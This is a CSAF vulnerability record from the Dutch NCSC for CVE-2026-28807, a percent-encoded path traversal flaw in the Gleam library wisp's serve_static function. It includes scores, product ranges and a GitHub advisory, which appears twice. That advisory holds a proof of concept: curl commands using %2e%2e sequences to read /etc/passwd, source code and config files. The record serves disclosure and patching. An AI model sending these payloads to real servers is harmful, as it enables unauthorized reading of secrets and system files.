{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-28807",
        "tracking": {
            "current_release_date": "2026-03-23T10:40:16.742281Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-28807",
            "initial_release_date": "2026-03-10T22:25:47.218661Z",
            "revision_history": [
                {
                    "date": "2026-03-10T22:25:47.218661Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-10T22:25:49.677295Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-10T22:38:43.418190Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (4).| Product Identifiers created (4).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-10T22:38:45.613288Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-11T00:53:23.785504Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-11T00:53:26.861994Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-11T01:58:56.388632Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-11T06:39:57.738633Z",
                    "number": "8",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-11T14:38:57.078209Z",
                    "number": "9",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-11T14:56:18.336376Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-11T14:56:23.996720Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-12T06:14:59.332364Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-16T14:55:59.843948Z",
                    "number": "13",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-19T15:29:44.004760Z",
                    "number": "14",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T15:29:46.200313Z",
                    "number": "15",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:35:59.126227Z",
                    "number": "16",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-21T15:29:04.384846Z",
                    "number": "17",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-21T15:29:12.991613Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-23T10:39:20.009822Z",
                    "number": "19",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (4).| Product Identifiers created (4).| References created (2).| CWES updated (1).| Unknown change."
                }
            ],
            "status": "interim",
            "version": "19"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:git/129dcb1fe10ab1e676145d91477535e1c90ab550|<161118c431047f7ef1ff7cabfcc38981877fdd93",
                                "product": {
                                    "name": "vers:git/129dcb1fe10ab1e676145d91477535e1c90ab550|<161118c431047f7ef1ff7cabfcc38981877fdd93",
                                    "product_id": "CSAFPID-5779793",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:gleam-wisp:wisp:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:purl/pkg:github/gleam-wisp/wisp@129dcb1fe10ab1e676145d91477535e1c90ab550|<pkg:github/gleam-wisp/wisp@161118c431047f7ef1ff7cabfcc38981877fdd93",
                                "product": {
                                    "name": "vers:purl/pkg:github/gleam-wisp/wisp@129dcb1fe10ab1e676145d91477535e1c90ab550|<pkg:github/gleam-wisp/wisp@161118c431047f7ef1ff7cabfcc38981877fdd93",
                                    "product_id": "CSAFPID-5779794",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:gleam-wisp:wisp:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:purl/pkg:hex/wisp@2.1.1|<pkg:hex/wisp@2.2.1",
                                "product": {
                                    "name": "vers:purl/pkg:hex/wisp@2.1.1|<pkg:hex/wisp@2.2.1",
                                    "product_id": "CSAFPID-5779792",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:gleam-wisp:wisp:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:semver/2.1.1|<2.2.1",
                                "product": {
                                    "name": "vers:semver/2.1.1|<2.2.1",
                                    "product_id": "CSAFPID-5779791",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:gleam-wisp:wisp:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.1.1",
                                "product": {
                                    "name": "vers:unknown/v2.1.1",
                                    "product_id": "CSAFPID-5785458"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v2.2.0",
                                "product": {
                                    "name": "vers:unknown/v2.2.0",
                                    "product_id": "CSAFPID-5785459"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "wisp"
                    }
                ],
                "category": "vendor",
                "name": "gleam-wisp"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-28807",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-28807"
                },
                {
                    "category": "description",
                    "text": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-28807"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\n`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.\n\n### Details\n\nIn `src/wisp.gleam`, `serve_static` processes the request path in this order:\n\n```gleam\nlet path =\n  path\n  |> string.drop_start(string.length(prefix))\n  |> string.replace(each: \"..\", with: \"\")   // Step 1: sanitize\n  |> filepath.join(directory, _)\n\nlet path = case uri.percent_decode(path) {  // Step 2: decode\n  Ok(p) -> p\n  Error(_) -> path\n}\n```\n\nSanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.\n\n### PoC\n\nAny application using `wisp.serve_static`:\n\n```gleam\nfn handle_request(req: wisp.Request) -> wisp.Response {\n  use <- wisp.serve_static(req, under: \"/static\", from: priv_directory())\n  wisp.not_found()\n}\n```\n\nExploit (requires `--path-as-is` to prevent client-side normalization):\n\n```bash\n# Read /etc/passwd\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n\n# Read project source code\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam\"\n\n# Read project config\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml\"\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:\n\n- Application source code\n- Configuration and secrets in `priv/`\n- `.env` files, `secret_key_base`, private keys\n- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)\n\n### Workaround\n\nCopy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.\n\n### References\n\n* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550\n* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93",
                    "title": "github - https://github.com/advisories/GHSA-h7cj-j2vv-qw8r"
                },
                {
                    "category": "description",
                    "text": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FEEF-CVE-2026-28807.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\n`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.\n\n### Details\n\nIn `src/wisp.gleam`, `serve_static` processes the request path in this order:\n\n```gleam\nlet path =\n  path\n  |> string.drop_start(string.length(prefix))\n  |> string.replace(each: \"..\", with: \"\")   // Step 1: sanitize\n  |> filepath.join(directory, _)\n\nlet path = case uri.percent_decode(path) {  // Step 2: decode\n  Ok(p) -> p\n  Error(_) -> path\n}\n```\n\nSanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.\n\n### PoC\n\nAny application using `wisp.serve_static`:\n\n```gleam\nfn handle_request(req: wisp.Request) -> wisp.Response {\n  use <- wisp.serve_static(req, under: \"/static\", from: priv_directory())\n  wisp.not_found()\n}\n```\n\nExploit (requires `--path-as-is` to prevent client-side normalization):\n\n```bash\n# Read /etc/passwd\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n\n# Read project source code\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam\"\n\n# Read project config\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml\"\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:\n\n- Application source code\n- Configuration and secrets in `priv/`\n- `.env` files, `secret_key_base`, private keys\n- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)\n\n### Workaround\n\nCopy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.\n\n### References\n\n* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550\n* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93",
                    "title": "github - https://api.github.com/advisories/GHSA-h7cj-j2vv-qw8r"
                },
                {
                    "category": "description",
                    "text": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in gleam-wisp wisp allows arbitrary file read via percent-encoded path traversal.\n\nThe wisp.serve_static function is vulnerable to path traversal because sanitization runs before percent-decoding. The encoded sequence %2e%2e passes through string.replace unchanged, then uri.percent_decode converts it to .., which the OS resolves as directory traversal when the file is read.\n\nAn unauthenticated attacker can read any file readable by the application process in a single HTTP request, including application source code, configuration files, secrets, and system files.\n\nThis issue affects wisp: from 2.1.1 before 2.2.1.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28807.json"
                },
                {
                    "category": "other",
                    "text": "0.00129",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "8.7",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent CVSS (V3) score, There is cwe data available from source Github, There is cwe data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5779791",
                    "CSAFPID-5779792",
                    "CSAFPID-5779793",
                    "CSAFPID-5779794",
                    "CSAFPID-5785458",
                    "CSAFPID-5785459"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28807"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28807"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-28807"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28807.json"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-h7cj-j2vv-qw8r"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-h7cj-j2vv-qw8r"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FEEF-CVE-2026-28807.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28807"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-h7cj-j2vv-qw8r"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28807.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/gleam-wisp/wisp/security/advisories/GHSA-h7cj-j2vv-qw8r"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-h7cj-j2vv-qw8r"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28807"
                }
            ],
            "title": "CVE-2026-28807"
        }
    ]
}